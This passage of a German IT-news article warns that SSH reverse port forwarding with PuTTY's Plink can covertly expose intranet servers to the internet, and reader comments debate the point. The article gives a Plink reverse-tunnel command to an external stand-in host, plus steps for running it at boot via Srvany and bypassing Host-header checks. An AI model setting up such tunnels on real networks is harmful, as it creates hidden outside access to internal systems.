reicht ein Arbeitsplatzrechner mit SSH-Client, um in Kombination mit einem
externen SSH-Server einen Zugang von außen zu schaffen. Ein potenzieller
Eindringling ist also auf Hilfe von innen angewiesen.
Häufig handelt es sich gar nicht um illoyale Mitarbeiter. Vielmehr wird
mittels SSH ein Fernzugang zum Unternehmensnetzwerk geschaffen.
Besonders betroffen sind Unternehmen mit sehr hohem
Sicherheitsbewusstsein.
Je mehr Unbequemlichkeiten der Mitarbeiter beim
Fernzugang zu überwinden hat, zum Beispiel
Smartcard oder
RSA-Token, desto höher ist seine
Motivation, selber einen einfacheren Zugang zu schaffen. Besitzt er
bereits einen Multiplayer-Game-Server im Internet und weiß um die
Nichtentdeckbarkeit seiner "Zugangslösung", ist die Hemmschwelle gering.
Oft liegt es auch einfach daran, dass der offizielle Zugang auf dem
heimischen Rechner nicht funktioniert, weil es sich dabei um einen
Macintosh handelt. Vielfach ist auch der offizielle Zugang
nicht zuverlässig verfügbar.
Auf einem Windows-Arbeitsplatz-PC eignet sich der SSH-Client
Putty, um mittels Portforwarding einen unbemerkten Zugang zu
schaffen. Er besteht nur aus EXE-Dateien, die nicht installiert werden
müssen und sofort aus jedem Verzeichnis ausgeführt werden können.
Administratorrechte sind auf dem Rechner im Unternehmen nicht nötig.
Hier wäre ein Eingreifen der
Vista-Benutzerkontensteuerung angebracht. Doch an einem SSH-Client
kann sie nichts Verdächtiges entdecken.
Bild 2: Mit Plink wird der angemietete Server zur unbemerkten Hintertür
für jedermann.
Besonders geeignet ist das Programm Plink aus der Putty-Suite, da es es sich um eine
rein textbasierte Implementierung eines SSH-Clients handelt. Mit dem
Befehl "Plink -v -T -R 80:10.10.10.10:80
root@Server.Hoster.Example.com" wird der angemietete Rechner
Server.Hoster.Example.com angewiesen, einen SSH-Tunnel vom
HTTP-Port 80 auf den Intranet-Webserver 10.10.10.10 bereitzustellen.
Dies ist in vielen Unternehmen ein normaler Vorgang, um einen Webserver
offiziell im Internet bereitzustellen, der physikalisch im Intranet
steht. Die Kontrolle über den SSH-Server mit der Internet-IP-Adresse hat
in diesem Fall die IT-Abteilung.
Ein
Angreifer verfügt jedoch über eigenen SSH-Server.
In obigem Beispiel kann ein beliebiger Internet-Anwender in seinem Browser http://Server.Hoster.Example.com
eingeben und landet auf dem Firmen-Intranet-Server.
Anstelle der IP-Adresse des Intranet-Servers lässt sich auch der DNS-Name
verwenden. Es können mehrere -R-Anweisungen in einer Befehlszeile
angegeben werden, um eine Vielzahl von Webservern und anderen Diensten,
etwa Remote-Desktop- oder File- und Print-Dienste, ungeschützt ins
Internet zu leiten.
Weitere Schützenhilfe liefert zum Beispiel ein Tool wie
Srvany aus den
Windows 2003 Resource Kit Tools. Damit kann Plink als Dienst installiert
werden, der bei jedem Hochfahren des Arbeitsplatzrechners startet. Ein
lokales Anmelden ist nicht erforderlich. Das Password für den SSH-Server
im Internet kann mittels der Plink-Option "-pw <Password>"
angegeben werden.
Einen Intranet-Server, der vermeintlich durch Auswertung des
Host-Headers geschützt ist, kann ein Angreifer leicht durch
Modifizieren der eigenen
Hosts-Datei
austricksen.
Die Verwendung von Techniken, die vom Design her nicht als
Sicherheitstechnologie gedacht sind, ist generell keine gute Idee. Ein
Intranet-Server,
der per SSL sicherer gemacht wurde, kann damit ohnehin nicht
geschützt werden.
Neueste Kommentare
4 Kommentare zu Gefahr durch SSH: Portforwarding außer Kontrolle
Kommentar hinzufügenVielen Dank für Ihren Kommentar.
Ihr Kommentar wurde gespeichert und wartet auf Moderation.
Tunneln ist Tunneln, egal ob mit SSH oder TLS
> … lässt sich jeder TCP-basierte Dienst durch eine SSH-Verbindung tunneln.
Klar, und das ist es auch – nicht nur für ssh!
> Um bestehende Client-Software für die getunnelten Dienste nutzen zu können, bietet SSH Portforwarding an.
> Damit unterscheidet es sich von SSL/TLS, das voraussetzt,
> dass der Client SSL beziehungsweise TLS beherrscht.
Aha? Und was ist mit stunnel? Was mit OpenVPN?
> Über so genannte Gateway-Ports bietet SSH den Clients Zugang zu ihren Servern in gewohnter Weise,
Nunja, das ist default nicht aktviert, ist in der sshd_config auch nicht einfach enthalten.
> Das schafft … die Möglichkeit, einen Intranet-Zugang zu einem Server unbemerkt ins Internet zu verlegen.
Eben
> Zugang zur Datei sshd_config hat nur der Benutzer root.
> Scheinbar eine einfache Aufgabe für den Praktikanten der Security-Abteilung
Tja, wo das Problem wohl liegt?
AW: Tunneln ist Tunneln, egal ob mit SSH oder TLS
Da kann ich nur zustimmen.
Wer seinem Praktikanten in der IT-Abteilung root-Rechte einräumt, sollte sich mal Gedanken bezüglich eines neuen Jobs machen.
Und Voraussetzung für die Installation des Tunnels ist nun mal, dass ein internes System ihn etabliert.
AW: AW: Tunneln ist Tunneln, egal ob mit SSH oder TLS
Vielen Dank für die vielen Beiträge. Beim Tunneln hat SSH jedoch tatsächlich eine Besonderheit, da es, anders als stunnel, drei Rechner einbezieht und nicht nur zwei.
Über den Rechner, von dem der Tunnel aufgebaut wird, kann von einem beliebigen SSH-Server mit unsicheren Portforwading-Einstellungen ein Tunnel zu einem dritten Rechner geschaffen werden.
Sind der Mitarbeiter-Client-PC und ein SSH-Server "irgendwo im Internet" unter der Kontrolle eines Angreifers oder Datendiebs, so kann Zugriff von außen auf einen beliebigen Intranet-Server geschaffen werden, unabhängig davon, ob ein Praktikant nun Root-Rechte auf einen Firmen-SSH-Server hat oder nicht.
Startet man stunnel auf einem Mitarbeiter-PC, so ist zwingend erforderlich, dass von außen Zugang zu diesem PC möglich ist, was durch NAT und Firewall verhindert wird.
stunnel auf einem Internet-Rechner kann wiederum nicht auf einen Intranet-Server zugreifen.
Interessant sind VPN-Server, wie OpenVPN. Die können auf einem Mitarbeiter-PC alleine nichts ausrichten. Kombiniert man jedoch SSH und OpenVPN, so kann leicht ein VPN-Zugang von außen zum gesamten Intranet geschaffen werden.
Mit freundlichen Grüßen
Christoph Hochstätter
Autor
Sinnloser Beispiel
An sich ein nettes Artikel, aber beim Beispiel-Scenario haben sich die Redakteure doch arg viel aus den Fingern gesaugt.
Warum sollte ein Mitarbeiter auf seinem privat angemieteten Gameserver ausgerechnet den offiziellen HTTP-Port auf den HTTP-Port eines internen Rechners legen? Was soll die Motivation dahinter sein?
Port 22 zu sich auf einen intern Rechner könnte ich noch verstehen (wegen Filetransfer), aber Port 80?